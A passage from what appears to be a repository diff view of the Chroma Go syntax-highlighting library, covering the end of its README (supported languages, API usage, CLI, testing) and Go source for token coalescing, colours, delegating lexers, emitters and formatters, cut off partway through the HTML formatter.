2. [Identifying the language](#identifying-the-language)
3. [Formatting the output](#formatting-the-output)
4. [The HTML formatter](#the-html-formatter)
4. [More detail](#more-detail)
1. [Lexers](#lexers)
2. [Formatters](#formatters)
3. [Styles](#styles)
5. [Command-line interface](#command-line-interface)
6. [Testing lexers](#testing-lexers)
7. [What's missing compared to Pygments?](#whats-missing-compared-to-pygments)
<!-- /TOC -->
## Supported languages
| Prefix | Language
| :----: | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
| A | ABAP, ABNF, ActionScript, ActionScript 3, Ada, Agda, AL, Alloy, Angular2, ANTLR, ApacheConf, APL, AppleScript, ArangoDB AQL, Arduino, ArmAsm, ATL, AutoHotkey, AutoIt, Awk
| B | Ballerina, Bash, Bash Session, Batchfile, Beef, BibTeX, Bicep, BlitzBasic, BNF, BQN, Brainfuck
| C | C, C#, C++, C3, Caddyfile, Caddyfile Directives, Cap'n Proto, Cassandra CQL, Ceylon, CFEngine3, cfstatement, ChaiScript, Chapel, Cheetah, Clojure, CMake, COBOL, CoffeeScript, Common Lisp, Coq, Core, Crystal, CSS, CSV, CUE, Cython
| D | D, Dart, Dax, Desktop file, Diff, Django/Jinja, dns, Docker, DTD, Dylan
| E | EBNF, Elixir, Elm, EmacsLisp, Erlang
| F | Factor, Fennel, Fish, Forth, Fortran, FortranFixed, FSharp
| G | GAS, GDScript, GDScript3, Gemtext, Genshi, Genshi HTML, Genshi Text, Gherkin, Gleam, GLSL, Gnuplot, Go, Go HTML Template, Go Template, Go Text Template, GraphQL, Groff, Groovy
| H | Handlebars, Hare, Haskell, Haxe, HCL, Hexdump, HLB, HLSL, HolyC, HTML, HTTP, Hy
| I | Idris, Igor, INI, Io, ISCdhcpd
| J | J, Janet, Java, JavaScript, JSON, JSONata, Jsonnet, Julia, Jungle
| K | Kakoune, Kotlin
| L | Lean4, Lighttpd configuration file, LLVM, lox, Lua
| M | Makefile, Mako, markdown, Markless, Mason, Materialize SQL dialect, Mathematica, Matlab, MCFunction, Meson, Metal, MiniZinc, MLIR, Modelica, Modula-2, Mojo, MonkeyC, MoonScript, MorrowindScript, Myghty, MySQL
| N | NASM, Natural, NDISASM, Newspeak, Nginx configuration file, Nim, Nix, NSIS, Nu
| O | Objective-C, ObjectPascal, OCaml, Octave, Odin, OnesEnterprise, OpenEdge ABL, OpenSCAD, Org Mode
| P | PacmanConf, Perl, PHP, PHTML, Pig, PkgConfig, PL/pgSQL, plaintext, Plutus Core, Pony, PostgreSQL SQL dialect, PostScript, POVRay, PowerQuery, PowerShell, Prolog, Promela, PromQL, properties, Protocol Buffer, Protocol Buffer Text Format, PRQL, PSL, Puppet, Python, Python 2
| Q | QBasic, QML
| R | R, Racket, Ragel, Raku, react, ReasonML, reg, Rego, reStructuredText, Rexx, RGBDS Assembly, Ring, RPGLE, RPMSpec, Ruby, Rust
| S | SAS, Sass, Scala, Scheme, Scilab, SCSS, Sed, Sieve, Smali, Smalltalk, Smarty, SNBT, Snobol, Solidity, SourcePawn, SPARQL, SQL, SquidConf, Standard ML, stas, Stylus, Svelte, Swift, SYSTEMD, systemverilog
| T | TableGen, Tal, TASM, Tcl, Tcsh, Termcap, Terminfo, Terraform, TeX, Thrift, TOML, TradingView, Transact-SQL, Turing, Turtle, Twig, TypeScript, TypoScript, TypoScriptCssData, TypoScriptHtmlData, Typst
| U | ucode
| V | V, V shell, Vala, VB.net, verilog, VHDL, VHS, VimL, vue
| W | WDTE, WebAssembly Text Format, WebGPU Shading Language, WebVTT, Whiley
| X | XML, Xorg
| Y | YAML, YANG
| Z | Z80 Assembly, Zed, Zig
_I will attempt to keep this section up to date, but an authoritative list can be
displayed with `chroma --list`._
## Try it
Try out various languages and styles on the [Chroma Playground](https://swapoff.org/chroma/playground/).
## Using the library
This is version 2 of Chroma, use the import path:
```go
import "github.com/alecthomas/chroma/v2"
```
Chroma, like Pygments, has the concepts of
[lexers](https://github.com/alecthomas/chroma/tree/master/lexers),
[formatters](https://github.com/alecthomas/chroma/tree/master/formatters) and
[styles](https://github.com/alecthomas/chroma/tree/master/styles).
Lexers convert source text into a stream of tokens, styles specify how token
types are mapped to colours, and formatters convert tokens and styles into
formatted output.
A package exists for each of these, containing a global `Registry` variable
with all of the registered implementations. There are also helper functions
for using the registry in each package, such as looking up lexers by name or
matching filenames, etc.
In all cases, if a lexer, formatter or style can not be determined, `nil` will
be returned. In this situation you may want to default to the `Fallback`
value in each respective package, which provides sane defaults.
### Quick start
A convenience function exists that can be used to simply format some source
text, without any effort:
```go
err := quick.Highlight(os.Stdout, someSourceCode, "go", "html", "monokai")
```
### Identifying the language
To highlight code, you'll first have to identify what language the code is
written in. There are three primary ways to do that:
1. Detect the language from its filename.
```go
lexer := lexers.Match("foo.go")
```
2. Explicitly specify the language by its Chroma syntax ID (a full list is available from `lexers.Names()`).
```go
lexer := lexers.Get("go")
```
3. Detect the language from its content.
```go
lexer := lexers.Analyse("package main\n\nfunc main()\n{\n}\n")
```
In all cases, `nil` will be returned if the language can not be identified.
```go
if lexer == nil {
lexer = lexers.Fallback
}
```
At this point, it should be noted that some lexers can be extremely chatty. To
mitigate this, you can use the coalescing lexer to coalesce runs of identical
token types into a single token:
```go
lexer = chroma.Coalesce(lexer)
```
### Formatting the output
Once a language is identified you will need to pick a formatter and a style (theme).
```go
style := styles.Get("swapoff")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("html")
if formatter == nil {
formatter = formatters.Fallback
}
```
Then obtain an iterator over the tokens:
```go
contents, err := ioutil.ReadAll(r)
iterator, err := lexer.Tokenise(nil, string(contents))
```
And finally, format the tokens from the iterator:
```go
err := formatter.Format(w, style, iterator)
```
### The HTML formatter
By default the `html` registered formatter generates standalone HTML with
embedded CSS. More flexibility is available through the `formatters/html` package.
Firstly, the output generated by the formatter can be customised with the
following constructor options:
- `Standalone()` - generate standalone HTML with embedded CSS.
- `WithClasses()` - use classes rather than inlined style attributes.
- `ClassPrefix(prefix)` - prefix each generated CSS class.
- `TabWidth(width)` - Set the rendered tab width, in characters.
- `WithLineNumbers()` - Render line numbers (style with `LineNumbers`).
- `WithLinkableLineNumbers()` - Make the line numbers linkable and be a link to themselves.
- `HighlightLines(ranges)` - Highlight lines in these ranges (style with `LineHighlight`).
- `LineNumbersInTable()` - Use a table for formatting line numbers and code, rather than spans.
If `WithClasses()` is used, the corresponding CSS can be obtained from the formatter with:
```go
formatter := html.New(html.WithClasses(true))
err := formatter.WriteCSS(w, style)
```
## More detail
### Lexers
See the [Pygments documentation](http://pygments.org/docs/lexerdevelopment/)
for details on implementing lexers. Most concepts apply directly to Chroma,
but see existing lexer implementations for real examples.
In many cases lexers can be automatically converted directly from Pygments by
using the included Python 3 script `pygments2chroma_xml.py`. I use something like
the following:
```sh
uv run --script _tools/pygments2chroma_xml.py \
pygments.lexers.jvm.KotlinLexer \
> lexers/embedded/kotlin.xml
```
A list of all lexers available in Pygments can be found in [pygments-lexers.txt](https://github.com/alecthomas/chroma/blob/master/pygments-lexers.txt).
### Formatters
Chroma supports HTML output, as well as terminal output in 8 colour, 256 colour, and true-colour.
A `noop` formatter is included that outputs the token text only, and a `tokens`
formatter outputs raw tokens. The latter is useful for debugging lexers.
### Styles
Chroma styles are defined in XML. The style entries use the
[same syntax](http://pygments.org/docs/styles/) as Pygments.
All Pygments styles have been converted to Chroma using the `_tools/style.py`
script.
When you work with one of [Chroma's styles](https://github.com/alecthomas/chroma/tree/master/styles),
know that the `Background` token type provides the default style for tokens. It does so
by defining a foreground color and background color.
For example, this gives each token name not defined in the style a default color
of `#f8f8f8` and uses `#000000` for the highlighted code block's background:
```xml
<entry type="Background" style="#f8f8f2 bg:#000000"/>
```
Also, token types in a style file are hierarchical. For instance, when `CommentSpecial` is not defined, Chroma uses the token style from `Comment`. So when several comment tokens use the same color, you'll only need to define `Comment` and override the one that has a different color.
For a quick overview of the available styles and how they look, check out the [Chroma Style Gallery](https://xyproto.github.io/splash/docs/).
## Command-line interface
A command-line interface to Chroma is included.
Binaries are available to install from [the releases page](https://github.com/alecthomas/chroma/releases).
The CLI can be used as a preprocessor to colorise output of `less(1)`,
see documentation for the `LESSOPEN` environment variable.
The `--fail` flag can be used to suppress output and return with exit status
1 to facilitate falling back to some other preprocessor in case chroma
does not resolve a specific lexer to use for the given file. For example:
```shell
export LESSOPEN='| p() { chroma --fail "$1" || cat "$1"; }; p "%s"'
```
Replace `cat` with your favourite fallback preprocessor.
When invoked as `.lessfilter`, the `--fail` flag is automatically turned
on under the hood for easy integration with [lesspipe shipping with
Debian and derivatives](https://manpages.debian.org/lesspipe#USER_DEFINED_FILTERS);
for that setup the `chroma` executable can be just symlinked to `~/.lessfilter`.
## Projects using Chroma
* [`moor`](https://github.com/walles/moor) is a full-blown pager that colorizes
its input using Chroma
* [Hugo](https://gohugo.io/) is a static site generator that [uses Chroma for syntax
highlighting code examples](https://gohugo.io/content-management/syntax-highlighting/)
## Testing lexers
If you edit some lexers and want to try it, open a shell in `cmd/chromad` and run:
```shell
go run . --csrf-key=securekey
```
A Link will be printed. Open it in your Browser. Now you can test on the Playground with your local changes.
If you want to run the tests and the lexers, open a shell in the root directory and run:
```shell
go test ./lexers
```
When updating or adding a lexer, please add tests. See [lexers/README.md](lexers/README.md) for more.
## What's missing compared to Pygments?
- Quite a few lexers, for various reasons (pull-requests welcome):
- Pygments lexers for complex languages often include custom code to
handle certain aspects, such as Raku's ability to nest code inside
regular expressions. These require time and effort to convert.
- I mostly only converted languages I had heard of, to reduce the porting cost.
- Some more esoteric features of Pygments are omitted for simplicity.
- Though the Chroma API supports content detection, very few languages support them.
I have plans to implement a statistical analyser at some point, but not enough time.
+6
View File
@@ -0,0 +1,6 @@
{
"$schema": "https://biomejs.dev/schemas/2.0.5/schema.json",
"formatter": {
"indentStyle": "space"
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

+35
View File
@@ -0,0 +1,35 @@
package chroma
// Coalesce is a Lexer interceptor that collapses runs of common types into a single token.
func Coalesce(lexer Lexer) Lexer { return &coalescer{lexer} }
type coalescer struct{ Lexer }
func (d *coalescer) Tokenise(options *TokeniseOptions, text string) (Iterator, error) {
var prev Token
it, err := d.Lexer.Tokenise(options, text)
if err != nil {
return nil, err
}
return func() Token {
for token := it(); token != (EOF); token = it() {
if len(token.Value) == 0 {
continue
}
if prev == EOF {
prev = token
} else {
if prev.Type == token.Type && len(prev.Value) < 8192 {
prev.Value += token.Value
} else {
out := prev
prev = token
return out
}
}
}
out := prev
prev = EOF
return out
}, nil
}
+192
View File
@@ -0,0 +1,192 @@
package chroma
import (
"fmt"
"math"
"strconv"
"strings"
)
// ANSI2RGB maps ANSI colour names, as supported by Chroma, to hex RGB values.
var ANSI2RGB = map[string]string{
"#ansiblack": "000000",
"#ansidarkred": "7f0000",
"#ansidarkgreen": "007f00",
"#ansibrown": "7f7fe0",
"#ansidarkblue": "00007f",
"#ansipurple": "7f007f",
"#ansiteal": "007f7f",
"#ansilightgray": "e5e5e5",
// Normal
"#ansidarkgray": "555555",
"#ansired": "ff0000",
"#ansigreen": "00ff00",
"#ansiyellow": "ffff00",
"#ansiblue": "0000ff",
"#ansifuchsia": "ff00ff",
"#ansiturquoise": "00ffff",
"#ansiwhite": "ffffff",
// Aliases without the "ansi" prefix, because...why?
"#black": "000000",
"#darkred": "7f0000",
"#darkgreen": "007f00",
"#brown": "7f7fe0",
"#darkblue": "00007f",
"#purple": "7f007f",
"#teal": "007f7f",
"#lightgray": "e5e5e5",
// Normal
"#darkgray": "555555",
"#red": "ff0000",
"#green": "00ff00",
"#yellow": "ffff00",
"#blue": "0000ff",
"#fuchsia": "ff00ff",
"#turquoise": "00ffff",
"#white": "ffffff",
}
// Colour represents an RGB colour.
type Colour int32
// NewColour creates a Colour directly from RGB values.
func NewColour(r, g, b uint8) Colour {
return ParseColour(fmt.Sprintf("%02x%02x%02x", r, g, b))
}
// Distance between this colour and another.
//
// This uses the approach described here (https://www.compuphase.com/cmetric.htm).
// This is not as accurate as LAB, et. al. but is *vastly* simpler and sufficient for our needs.
func (c Colour) Distance(e2 Colour) float64 {
ar, ag, ab := int64(c.Red()), int64(c.Green()), int64(c.Blue())
br, bg, bb := int64(e2.Red()), int64(e2.Green()), int64(e2.Blue())
rmean := (ar + br) / 2
r := ar - br
g := ag - bg
b := ab - bb
return math.Sqrt(float64((((512 + rmean) * r * r) >> 8) + 4*g*g + (((767 - rmean) * b * b) >> 8)))
}
// Brighten returns a copy of this colour with its brightness adjusted.
//
// If factor is negative, the colour is darkened.
//
// Uses approach described here (http://www.pvladov.com/2012/09/make-color-lighter-or-darker.html).
func (c Colour) Brighten(factor float64) Colour {
r := float64(c.Red())
g := float64(c.Green())
b := float64(c.Blue())
if factor < 0 {
factor++
r *= factor
g *= factor
b *= factor
} else {
r = (255-r)*factor + r
g = (255-g)*factor + g
b = (255-b)*factor + b
}
return NewColour(uint8(r), uint8(g), uint8(b))
}
// BrightenOrDarken brightens a colour if it is < 0.5 brightness or darkens if > 0.5 brightness.
func (c Colour) BrightenOrDarken(factor float64) Colour {
if c.Brightness() < 0.5 {
return c.Brighten(factor)
}
return c.Brighten(-factor)
}
// ClampBrightness returns a copy of this colour with its brightness adjusted such that
// it falls within the range [min, max] (or very close to it due to rounding errors).
// The supplied values use the same [0.0, 1.0] range as Brightness.
func (c Colour) ClampBrightness(min, max float64) Colour {
if !c.IsSet() {
return c
}
min = math.Max(min, 0)
max = math.Min(max, 1)
current := c.Brightness()
target := math.Min(math.Max(current, min), max)
if current == target {
return c
}
r := float64(c.Red())
g := float64(c.Green())
b := float64(c.Blue())
rgb := r + g + b
if target > current {
// Solve for x: target == ((255-r)*x + r + (255-g)*x + g + (255-b)*x + b) / 255 / 3
return c.Brighten((target*255*3 - rgb) / (255*3 - rgb))
}
// Solve for x: target == (r*(x+1) + g*(x+1) + b*(x+1)) / 255 / 3
return c.Brighten((target*255*3)/rgb - 1)
}
// Brightness of the colour (roughly) in the range 0.0 to 1.0.
func (c Colour) Brightness() float64 {
return (float64(c.Red()) + float64(c.Green()) + float64(c.Blue())) / 255.0 / 3.0
}
// ParseColour in the forms #rgb, #rrggbb, #ansi<colour>, or #<colour>.
// Will return an "unset" colour if invalid.
func ParseColour(colour string) Colour {
colour = normaliseColour(colour)
n, err := strconv.ParseUint(colour, 16, 32)
if err != nil {
return 0
}
return Colour(n + 1) //nolint:gosec
}
// MustParseColour is like ParseColour except it panics if the colour is invalid.
//
// Will panic if colour is in an invalid format.
func MustParseColour(colour string) Colour {
parsed := ParseColour(colour)
if !parsed.IsSet() {
panic(fmt.Errorf("invalid colour %q", colour))
}
return parsed
}
// IsSet returns true if the colour is set.
func (c Colour) IsSet() bool { return c != 0 }
func (c Colour) String() string { return fmt.Sprintf("#%06x", int(c-1)) }
func (c Colour) GoString() string { return fmt.Sprintf("Colour(0x%06x)", int(c-1)) }
// Red component of colour.
func (c Colour) Red() uint8 { return uint8(((c - 1) >> 16) & 0xff) } //nolint:gosec
// Green component of colour.
func (c Colour) Green() uint8 { return uint8(((c - 1) >> 8) & 0xff) } //nolint:gosec
// Blue component of colour.
func (c Colour) Blue() uint8 { return uint8((c - 1) & 0xff) } //nolint:gosec
// Colours is an orderable set of colours.
type Colours []Colour
func (c Colours) Len() int { return len(c) }
func (c Colours) Swap(i, j int) { c[i], c[j] = c[j], c[i] }
func (c Colours) Less(i, j int) bool { return c[i] < c[j] }
// Convert colours to #rrggbb.
func normaliseColour(colour string) string {
if ansi, ok := ANSI2RGB[colour]; ok {
return ansi
}
if strings.HasPrefix(colour, "#") {
colour = colour[1:]
if len(colour) == 3 {
return colour[0:1] + colour[0:1] + colour[1:2] + colour[1:2] + colour[2:3] + colour[2:3]
}
}
return colour
}
+161
View File
@@ -0,0 +1,161 @@
package chroma
import (
"bytes"
)
type delegatingLexer struct {
root Lexer
language Lexer
}
// DelegatingLexer combines two lexers to handle the common case of a language embedded inside another, such as PHP
// inside HTML or PHP inside plain text.
//
// It takes two lexer as arguments: a root lexer and a language lexer. First everything is scanned using the language
// lexer, which must return "Other" for unrecognised tokens. Then all "Other" tokens are lexed using the root lexer.
// Finally, these two sets of tokens are merged.
//
// The lexers from the template lexer package use this base lexer.
func DelegatingLexer(root Lexer, language Lexer) Lexer {
return &delegatingLexer{
root: root,
language: language,
}
}
func (d *delegatingLexer) SetTracing(enable bool) {
if l, ok := d.language.(TracingLexer); ok {
l.SetTracing(enable)
}
if l, ok := d.root.(TracingLexer); ok {
l.SetTracing(enable)
}
}
func (d *delegatingLexer) AnalyseText(text string) float32 {
return d.root.AnalyseText(text)
}
func (d *delegatingLexer) SetAnalyser(analyser func(text string) float32) Lexer {
d.root.SetAnalyser(analyser)
return d
}
func (d *delegatingLexer) SetRegistry(r *LexerRegistry) Lexer {
d.root.SetRegistry(r)
d.language.SetRegistry(r)
return d
}
func (d *delegatingLexer) Config() *Config {
return d.language.Config()
}
// An insertion is the character range where language tokens should be inserted.
type insertion struct {
start, end int
tokens []Token
}
func (d *delegatingLexer) Tokenise(options *TokeniseOptions, text string) (Iterator, error) { // nolint: gocognit
tokens, err := Tokenise(Coalesce(d.language), options, text)
if err != nil {
return nil, err
}
// Compute insertions and gather "Other" tokens.
others := &bytes.Buffer{}
insertions := []*insertion{}
var insert *insertion
offset := 0
var last Token
for _, t := range tokens {
if t.Type == Other {
if last != EOF && insert != nil && last.Type != Other {
insert.end = offset
}
others.WriteString(t.Value)
} else {
if last == EOF || last.Type == Other {
insert = &insertion{start: offset}
insertions = append(insertions, insert)
}
insert.tokens = append(insert.tokens, t)
}
last = t
offset += len(t.Value)
}
if len(insertions) == 0 {
return d.root.Tokenise(options, text)
}
// Lex the other tokens.
rootTokens, err := Tokenise(Coalesce(d.root), options, others.String())
if err != nil {
return nil, err
}
// Interleave the two sets of tokens.
var out []Token
offset = 0 // Offset into text.
tokenIndex := 0
nextToken := func() Token {
if tokenIndex >= len(rootTokens) {
return EOF
}
t := rootTokens[tokenIndex]
tokenIndex++
return t
}
insertionIndex := 0
nextInsertion := func() *insertion {
if insertionIndex >= len(insertions) {
return nil
}
i := insertions[insertionIndex]
insertionIndex++
return i
}
t := nextToken()
i := nextInsertion()
for t != EOF || i != nil {
// fmt.Printf("%d->%d:%q %d->%d:%q\n", offset, offset+len(t.Value), t.Value, i.start, i.end, Stringify(i.tokens...))
if t == EOF || (i != nil && i.start < offset+len(t.Value)) {
var l Token
l, t = splitToken(t, i.start-offset)
if l != EOF {
out = append(out, l)
offset += len(l.Value)
}
out = append(out, i.tokens...)
offset += i.end - i.start
if t == EOF {
t = nextToken()
}
i = nextInsertion()
} else {
out = append(out, t)
offset += len(t.Value)
t = nextToken()
}
}
return Literator(out...), nil
}
func splitToken(t Token, offset int) (l Token, r Token) {
if t == EOF {
return EOF, EOF
}
if offset == 0 {
return EOF, t
}
if offset == len(t.Value) {
return t, EOF
}
l = t.Clone()
r = t.Clone()
l.Value = l.Value[:offset]
r.Value = r.Value[offset:]
return
}
+7
View File
@@ -0,0 +1,7 @@
// Package chroma takes source code and other structured text and converts it into syntax highlighted HTML, ANSI-
// coloured text, etc.
//
// Chroma is based heavily on Pygments, and includes translators for Pygments lexers and styles.
//
// For more information, go here: https://github.com/alecthomas/chroma
package chroma
+233
View File
@@ -0,0 +1,233 @@
package chroma
import (
"fmt"
)
// An Emitter takes group matches and returns tokens.
type Emitter interface {
// Emit tokens for the given regex groups.
Emit(groups []string, state *LexerState) Iterator
}
// ValidatingEmitter is an Emitter that can validate against a compiled rule.
type ValidatingEmitter interface {
Emitter
ValidateEmitter(rule *CompiledRule) error
}
// SerialisableEmitter is an Emitter that can be serialised and deserialised to/from JSON.
type SerialisableEmitter interface {
Emitter
EmitterKind() string
}
// EmitterFunc is a function that is an Emitter.
type EmitterFunc func(groups []string, state *LexerState) Iterator
// Emit tokens for groups.
func (e EmitterFunc) Emit(groups []string, state *LexerState) Iterator {
return e(groups, state)
}
type Emitters []Emitter
type byGroupsEmitter struct {
Emitters
}
var _ ValidatingEmitter = (*byGroupsEmitter)(nil)
// ByGroups emits a token for each matching group in the rule's regex.
func ByGroups(emitters ...Emitter) Emitter {
return &byGroupsEmitter{Emitters: emitters}
}
func (b *byGroupsEmitter) EmitterKind() string { return "bygroups" }
func (b *byGroupsEmitter) ValidateEmitter(rule *CompiledRule) error {
if len(rule.Regexp.GetGroupNumbers())-1 != len(b.Emitters) {
return fmt.Errorf("number of groups %d does not match number of emitters %d", len(rule.Regexp.GetGroupNumbers())-1, len(b.Emitters))
}
return nil
}
func (b *byGroupsEmitter) Emit(groups []string, state *LexerState) Iterator {
iterators := make([]Iterator, 0, len(groups)-1)
if len(b.Emitters) != len(groups)-1 {
iterators = append(iterators, Error.Emit(groups, state))
// panic(errors.Errorf("number of groups %q does not match number of emitters %v", groups, emitters))
} else {
for i, group := range groups[1:] {
if b.Emitters[i] != nil {
iterators = append(iterators, b.Emitters[i].Emit([]string{group}, state))
}
}
}
return Concaterator(iterators...)
}
// ByGroupNames emits a token for each named matching group in the rule's regex.
func ByGroupNames(emitters map[string]Emitter) Emitter {
return EmitterFunc(func(groups []string, state *LexerState) Iterator {
iterators := make([]Iterator, 0, len(state.NamedGroups)-1)
if len(state.NamedGroups)-1 == 0 {
if emitter, ok := emitters[`0`]; ok {
iterators = append(iterators, emitter.Emit(groups, state))
} else {
iterators = append(iterators, Error.Emit(groups, state))
}
} else {
ruleRegex := state.Rules[state.State][state.Rule].Regexp
for i := 1; i < len(state.NamedGroups); i++ {
groupName := ruleRegex.GroupNameFromNumber(i)
group := state.NamedGroups[groupName]
if emitter, ok := emitters[groupName]; ok {
if emitter != nil {
iterators = append(iterators, emitter.Emit([]string{group}, state))
}
} else {
iterators = append(iterators, Error.Emit([]string{group}, state))
}
}
}
return Concaterator(iterators...)
})
}
// UsingByGroup emits tokens for the matched groups in the regex using a
// sublexer. Used when lexing code blocks where the name of a sublexer is
// contained within the block, for example on a Markdown text block or SQL
// language block.
//
// An attempt to load the sublexer will be made using the captured value from
// the text of the matched sublexerNameGroup. If a sublexer matching the
// sublexerNameGroup is available, then tokens for the matched codeGroup will
// be emitted using the sublexer. Otherwise, if no sublexer is available, then
// tokens will be emitted from the passed emitter.
//
// Example:
//
// var Markdown = internal.Register(MustNewLexer(
// &Config{
// Name: "markdown",
// Aliases: []string{"md", "mkd"},
// Filenames: []string{"*.md", "*.mkd", "*.markdown"},
// MimeTypes: []string{"text/x-markdown"},
// },
// Rules{
// "root": {
// {"^(```)(\\w+)(\\n)([\\w\\W]*?)(^```$)",
// UsingByGroup(
// 2, 4,
// String, String, String, Text, String,
// ),
// nil,
// },
// },
// },
// ))
//
// See the lexers/markdown.go for the complete example.
//
// Note: panic's if the number of emitters does not equal the number of matched
// groups in the regex.
func UsingByGroup(sublexerNameGroup, codeGroup int, emitters ...Emitter) Emitter {
return &usingByGroup{
SublexerNameGroup: sublexerNameGroup,
CodeGroup: codeGroup,
Emitters: emitters,
}
}
type usingByGroup struct {
SublexerNameGroup int `xml:"sublexer_name_group"`
CodeGroup int `xml:"code_group"`
Emitters Emitters `xml:"emitters"`
}
func (u *usingByGroup) EmitterKind() string { return "usingbygroup" }
func (u *usingByGroup) Emit(groups []string, state *LexerState) Iterator {
// bounds check
if len(u.Emitters) != len(groups)-1 {
panic("UsingByGroup expects number of emitters to be the same as len(groups)-1")
}
// grab sublexer
sublexer := state.Registry.Get(groups[u.SublexerNameGroup])
// build iterators
iterators := make([]Iterator, len(groups)-1)
for i, group := range groups[1:] {
if i == u.CodeGroup-1 && sublexer != nil {
var err error
iterators[i], err = sublexer.Tokenise(nil, groups[u.CodeGroup])
if err != nil {
panic(err)
}
} else if u.Emitters[i] != nil {
iterators[i] = u.Emitters[i].Emit([]string{group}, state)
}
}
return Concaterator(iterators...)
}
// UsingLexer returns an Emitter that uses a given Lexer for parsing and emitting.
//
// This Emitter is not serialisable.
func UsingLexer(lexer Lexer) Emitter {
return EmitterFunc(func(groups []string, _ *LexerState) Iterator {
it, err := lexer.Tokenise(&TokeniseOptions{State: "root", Nested: true}, groups[0])
if err != nil {
panic(err)
}
return it
})
}
type usingEmitter struct {
Lexer string `xml:"lexer,attr"`
}
func (u *usingEmitter) EmitterKind() string { return "using" }
func (u *usingEmitter) Emit(groups []string, state *LexerState) Iterator {
if state.Registry == nil {
panic(fmt.Sprintf("no LexerRegistry available for Using(%q)", u.Lexer))
}
lexer := state.Registry.Get(u.Lexer)
if lexer == nil {
panic(fmt.Sprintf("no such lexer %q", u.Lexer))
}
it, err := lexer.Tokenise(&TokeniseOptions{State: "root", Nested: true}, groups[0])
if err != nil {
panic(err)
}
return it
}
// Using returns an Emitter that uses a given Lexer reference for parsing and emitting.
//
// The referenced lexer must be stored in the same LexerRegistry.
func Using(lexer string) Emitter {
return &usingEmitter{Lexer: lexer}
}
type usingSelfEmitter struct {
State string `xml:"state,attr"`
}
func (u *usingSelfEmitter) EmitterKind() string { return "usingself" }
func (u *usingSelfEmitter) Emit(groups []string, state *LexerState) Iterator {
it, err := state.Lexer.Tokenise(&TokeniseOptions{State: u.State, Nested: true}, groups[0])
if err != nil {
panic(err)
}
return it
}
// UsingSelf is like Using, but uses the current Lexer.
func UsingSelf(stateName string) Emitter {
return &usingSelfEmitter{stateName}
}
+43
View File
@@ -0,0 +1,43 @@
package chroma
import (
"io"
)
// A Formatter for Chroma lexers.
type Formatter interface {
// Format returns a formatting function for tokens.
//
// If the iterator panics, the Formatter should recover.
Format(w io.Writer, style *Style, iterator Iterator) error
}
// A FormatterFunc is a Formatter implemented as a function.
//
// Guards against iterator panics.
type FormatterFunc func(w io.Writer, style *Style, iterator Iterator) error
func (f FormatterFunc) Format(w io.Writer, s *Style, it Iterator) (err error) { // nolint
defer func() {
if perr := recover(); perr != nil {
err = perr.(error)
}
}()
return f(w, s, it)
}
type recoveringFormatter struct {
Formatter
}
func (r recoveringFormatter) Format(w io.Writer, s *Style, it Iterator) (err error) {
defer func() {
if perr := recover(); perr != nil {
err = perr.(error)
}
}()
return r.Formatter.Format(w, s, it)
}
// RecoveringFormatter wraps a formatter with panic recovery.
func RecoveringFormatter(formatter Formatter) Formatter { return recoveringFormatter{formatter} }
+57
View File
@@ -0,0 +1,57 @@
package formatters
import (
"io"
"sort"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/formatters/html"
"github.com/alecthomas/chroma/v2/formatters/svg"
)
var (
// NoOp formatter.
NoOp = Register("noop", chroma.FormatterFunc(func(w io.Writer, s *chroma.Style, iterator chroma.Iterator) error {
for t := iterator(); t != chroma.EOF; t = iterator() {
if _, err := io.WriteString(w, t.Value); err != nil {
return err
}
}
return nil
}))
// Default HTML formatter outputs self-contained HTML.
htmlFull = Register("html", html.New(html.Standalone(true), html.WithClasses(true))) // nolint
SVG = Register("svg", svg.New(svg.EmbedFont("Liberation Mono", svg.FontLiberationMono, svg.WOFF)))
)
// Fallback formatter.
var Fallback = NoOp
// Registry of Formatters.
var Registry = map[string]chroma.Formatter{}
// Names of registered formatters.
func Names() []string {
out := []string{}
for name := range Registry {
out = append(out, name)
}
sort.Strings(out)
return out
}
// Get formatter by name.
//
// If the given formatter is not found, the Fallback formatter will be returned.
func Get(name string) chroma.Formatter {
if f, ok := Registry[name]; ok {
return f
}
return Fallback
}
// Register a named formatter.
func Register(name string, formatter chroma.Formatter) chroma.Formatter {
Registry[name] = formatter
return formatter
}
+648
View File
@@ -0,0 +1,648 @@
package html
import (
"fmt"
"html"
"io"
"sort"
"strconv"
"strings"
"sync"
"github.com/alecthomas/chroma/v2"
)
// Option sets an option of the HTML formatter.
type Option func(f *Formatter)
// Standalone configures the HTML formatter for generating a standalone HTML document.
func Standalone(b bool) Option { return func(f *Formatter) { f.standalone = b } }
// ClassPrefix sets the CSS class prefix.
func ClassPrefix(prefix string) Option { return func(f *Formatter) { f.prefix = prefix } }
// WithClasses emits HTML using CSS classes, rather than inline styles.
func WithClasses(b bool) Option { return func(f *Formatter) { f.Classes = b } }
// WithAllClasses disables an optimisation that omits redundant CSS classes.
func WithAllClasses(b bool) Option { return func(f *Formatter) { f.allClasses = b } }
// WithCustomCSS sets user's custom CSS styles.
func WithCustomCSS(css map[chroma.TokenType]string) Option {
return func(f *Formatter) {
f.customCSS = css
}
}
// WithCSSComments adds prefixe comments to the css classes. Defaults to true.
func WithCSSComments(b bool) Option { return func(f *Formatter) { f.writeCSSComments = b } }
// TabWidth sets the number of characters for a tab. Defaults to 8.
func TabWidth(width int) Option { return func(f *Formatter) { f.tabWidth = width } }
// PreventSurroundingPre prevents the surrounding pre tags around the generated code.
func PreventSurroundingPre(b bool) Option {
return func(f *Formatter) {
f.preventSurroundingPre = b
if b {
f.preWrapper = nopPreWrapper
} else {
f.preWrapper = defaultPreWrapper
}
}
}
// InlineCode creates inline code wrapped in a code tag.
func InlineCode(b bool) Option {
return func(f *Formatter) {
f.inlineCode = b
f.preWrapper = preWrapper{
start: func(code bool, styleAttr string) string {
if code {
return fmt.Sprintf(`<code%s>`, styleAttr)
}
return ``
},
end: func(code bool) string {
if code {
return `</code>`
}
return ``
},
}
}
}
// WithPreWrapper allows control of the surrounding pre tags.
func WithPreWrapper(wrapper PreWrapper) Option {
return func(f *Formatter) {
f.preWrapper = wrapper
}
}
// WrapLongLines wraps long lines.
func WrapLongLines(b bool) Option {
return func(f *Formatter) {
f.wrapLongLines = b
}
}
// WithLineNumbers formats output with line numbers.
func WithLineNumbers(b bool) Option {
return func(f *Formatter) {
f.lineNumbers = b
}
}
// LineNumbersInTable will, when combined with WithLineNumbers, separate the line numbers
